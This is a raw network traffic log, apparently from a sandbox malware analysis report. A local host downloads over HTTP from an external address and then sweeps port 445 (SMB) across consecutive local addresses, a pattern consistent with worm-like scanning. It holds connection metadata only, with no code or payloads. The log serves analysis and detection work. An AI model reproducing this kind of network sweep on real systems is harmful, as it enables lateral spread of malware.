Jul 6, 2024 14:10:21.062263012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062293053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062302113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062311888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062321901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062333107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062347889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062362909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062380075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062402964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062412977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062444925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062652111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062661886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062671900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062681913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062695980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062712908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062767982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062778950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062810898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063011885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063020945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063030958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063040018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063050985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063076973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063290119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063312054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063321114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063344955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063360929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063519001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063637018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063646078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063654900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063678980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063695908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063803911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063827991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063837051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.063841105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063855886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.063870907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.064034939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064140081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064150095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064186096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.064249039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064259052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064301968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.064522982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064532995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064543009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064568996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.064595938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.064614058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064624071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064659119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.064918041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064928055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.064959049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065138102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065146923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065186024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065296888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065306902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065346003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065421104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065429926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065443039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065455914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065464020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065479994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065505981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065586090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065630913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065704107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065715075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065752983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065821886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065833092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.065856934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.065882921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.256473064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256620884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256630898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256664991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256675959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256688118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.256725073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.256814957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256825924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256835938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256845951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256856918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256861925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.256877899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.256891966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.256931067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.256968975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.257397890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257433891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.257514000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257524967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257560015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.257595062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257606983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257617950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257627964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257639885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.257656097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.257700920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257711887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257720947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257733107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.257740974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.257754087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.257772923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.258949041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.258960009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.258970976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.258985996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.258991957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.258996010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259006977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259016991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259017944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259032011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259057999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259084940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259094954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259105921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259128094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259139061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259311914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259320974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259331942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259341955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259347916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259351969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259361029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259371996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259372950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259382010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.259398937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.259418964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.261064053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261075974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261085987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261095047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261106014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261111975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.261115074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261125088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.261126041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261137962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261152029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.261173964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.261339903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261348963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261358976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.261384964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.261401892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.263304949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.263345003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.263376951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.263387918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.263410091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.263422966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.264569998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.264580011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.264589071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.264612913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.264631987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.419410944 CEST	49741	445	192.168.2.4	192.168.0.2
Jul 6, 2024 14:10:21.424431086 CEST	445	49741	192.168.0.2	192.168.2.4
Jul 6, 2024 14:10:21.424505949 CEST	49741	445	192.168.2.4	192.168.0.2
Jul 6, 2024 14:10:21.425318003 CEST	49741	445	192.168.2.4	192.168.0.2
Jul 6, 2024 14:10:21.427555084 CEST	49742	445	192.168.2.4	192.168.0.3
Jul 6, 2024 14:10:21.430429935 CEST	445	49741	192.168.0.2	192.168.2.4
Jul 6, 2024 14:10:21.430605888 CEST	445	49741	192.168.0.2	192.168.2.4
Jul 6, 2024 14:10:21.430690050 CEST	49741	445	192.168.2.4	192.168.0.2
Jul 6, 2024 14:10:21.432727098 CEST	445	49742	192.168.0.3	192.168.2.4
Jul 6, 2024 14:10:21.432794094 CEST	49742	445	192.168.2.4	192.168.0.3
Jul 6, 2024 14:10:21.442233086 CEST	49742	445	192.168.2.4	192.168.0.3
Jul 6, 2024 14:10:21.443216085 CEST	49743	445	192.168.2.4	192.168.0.4
Jul 6, 2024 14:10:21.451615095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.451666117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.451670885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.451678991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.451709986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.451724052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.451771021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.451806068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.451818943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.451831102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.451848984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.451874971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452003956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452013969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452024937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452035904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452047110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452050924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452058077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452069044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452074051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452079058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452085018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452091932 CEST	445	49743	192.168.0.4	192.168.2.4
Jul 6, 2024 14:10:21.452116966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452162981 CEST	49743	445	192.168.2.4	192.168.0.4
Jul 6, 2024 14:10:21.452246904 CEST	49743	445	192.168.2.4	192.168.0.4
Jul 6, 2024 14:10:21.452282906 CEST	445	49742	192.168.0.3	192.168.2.4
Jul 6, 2024 14:10:21.452333927 CEST	49742	445	192.168.2.4	192.168.0.3
Jul 6, 2024 14:10:21.452364922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452374935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452385902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452395916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452409029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452436924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452539921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452549934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452560902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452578068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452584982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452589989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452606916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452615023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452617884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452625990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452657938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452754021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452764988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452807903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452883005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452893019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452903986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452915907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452928066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452965021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452965021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452965021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.452975988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.452997923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453001022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453012943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453016996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453036070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453051090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453233957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453244925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453255892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453265905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453275919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453278065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453286886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453296900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453298092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453325987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453339100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453520060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453531981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453541994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453553915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453562975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453564882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453579903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453615904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453828096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453838110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453849077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453860998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453871012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453872919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453881979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453883886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453892946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453903913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.453913927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.453938961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.458899021 CEST	49744	445	192.168.2.4	192.168.0.5
Jul 6, 2024 14:10:21.460295916 CEST	445	49743	192.168.0.4	192.168.2.4
Jul 6, 2024 14:10:21.460347891 CEST	49743	445	192.168.2.4	192.168.0.4
Jul 6, 2024 14:10:21.464097977 CEST	445	49744	192.168.0.5	192.168.2.4
Jul 6, 2024 14:10:21.464159966 CEST	49744	445	192.168.2.4	192.168.0.5
Jul 6, 2024 14:10:21.473474026 CEST	49744	445	192.168.2.4	192.168.0.5
Jul 6, 2024 14:10:21.474680901 CEST	49745	445	192.168.2.4	192.168.0.6
Jul 6, 2024 14:10:21.483095884 CEST	445	49744	192.168.0.5	192.168.2.4
Jul 6, 2024 14:10:21.483154058 CEST	49744	445	192.168.2.4	192.168.0.5
Jul 6, 2024 14:10:21.484209061 CEST	445	49745	192.168.0.6	192.168.2.4
Jul 6, 2024 14:10:21.484267950 CEST	49745	445	192.168.2.4	192.168.0.6
Jul 6, 2024 14:10:21.489101887 CEST	49745	445	192.168.2.4	192.168.0.6
Jul 6, 2024 14:10:21.490178108 CEST	49746	445	192.168.2.4	192.168.0.7
Jul 6, 2024 14:10:21.499010086 CEST	445	49746	192.168.0.7	192.168.2.4
Jul 6, 2024 14:10:21.499022961 CEST	445	49745	192.168.0.6	192.168.2.4
Jul 6, 2024 14:10:21.499084949 CEST	49745	445	192.168.2.4	192.168.0.6
Jul 6, 2024 14:10:21.499092102 CEST	49746	445	192.168.2.4	192.168.0.7
Jul 6, 2024 14:10:21.499248981 CEST	49746	445	192.168.2.4	192.168.0.7
Jul 6, 2024 14:10:21.505744934 CEST	49747	445	192.168.2.4	192.168.0.8
Jul 6, 2024 14:10:21.506896973 CEST	445	49746	192.168.0.7	192.168.2.4
Jul 6, 2024 14:10:21.506944895 CEST	49746	445	192.168.2.4	192.168.0.7
Jul 6, 2024 14:10:21.512299061 CEST	445	49747	192.168.0.8	192.168.2.4
Jul 6, 2024 14:10:21.512358904 CEST	49747	445	192.168.2.4	192.168.0.8
Jul 6, 2024 14:10:21.512471914 CEST	49747	445	192.168.2.4	192.168.0.8
Jul 6, 2024 14:10:21.521277905 CEST	49748	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:21.522265911 CEST	445	49747	192.168.0.8	192.168.2.4
Jul 6, 2024 14:10:21.522313118 CEST	49747	445	192.168.2.4	192.168.0.8
Jul 6, 2024 14:10:21.527062893 CEST	445	49748	192.168.0.9	192.168.2.4
Jul 6, 2024 14:10:21.527126074 CEST	49748	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:21.527247906 CEST	49748	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:21.537208080 CEST	49749	445	192.168.2.4	192.168.0.10
Jul 6, 2024 14:10:21.553292990 CEST	49750	445	192.168.2.4	192.168.0.11
Jul 6, 2024 14:10:21.568372011 CEST	49751	445	192.168.2.4	192.168.0.12
Jul 6, 2024 14:10:21.583812952 CEST	49752	445	192.168.2.4	192.168.0.13
Jul 6, 2024 14:10:21.599436998 CEST	49753	445	192.168.2.4	192.168.0.14
Jul 6, 2024 14:10:21.615267038 CEST	49754	445	192.168.2.4	192.168.0.15
Jul 6, 2024 14:10:21.630778074 CEST	49755	445	192.168.2.4	192.168.0.16
Jul 6, 2024 14:10:21.646655083 CEST	49756	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:21.661968946 CEST	49757	445	192.168.2.4	192.168.0.18
Jul 6, 2024 14:10:21.677603006 CEST	49758	445	192.168.2.4	192.168.0.19
Jul 6, 2024 14:10:21.694730997 CEST	49759	445	192.168.2.4	192.168.0.20
Jul 6, 2024 14:10:21.709333897 CEST	49760	445	192.168.2.4	192.168.0.21
Jul 6, 2024 14:10:21.724904060 CEST	49761	445	192.168.2.4	192.168.0.22
Jul 6, 2024 14:10:21.740376949 CEST	49762	445	192.168.2.4	192.168.0.23
Jul 6, 2024 14:10:21.753815889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.753838062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.753851891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.753879070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.753916979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.753935099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.753947973 CEST	80	49732	211.108.60.155	192.168.2.4
